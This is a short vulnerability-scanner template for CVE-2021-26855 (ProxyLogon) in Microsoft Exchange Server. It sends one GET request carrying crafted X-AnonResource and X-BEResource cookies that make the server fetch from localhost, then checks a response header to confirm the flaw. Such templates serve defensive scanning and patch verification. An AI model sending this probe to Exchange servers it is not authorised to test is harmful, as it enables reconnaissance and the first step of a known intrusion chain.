CVE-2021-26855: Microsoft Exchange Server Remote Code Execution

id: CVE-2021-26855

info:
  name: Microsoft Exchange Server Remote Code Execution
  author: sharecast
  severity: critical
  description: |-
    Microsoft Exchange Server Remote Code Execution Vulnerability
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26855
  tags: cve,cve2021,exchange,rce
  created: 2023/07/13

rules:
  r0:
    request:
      method: GET
      path: /owa/auth/x.js
      headers:
        Cookie: X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;
    expression: response.headers["X-CalculatedBETarget"].icontains("localhost")
expression: r0()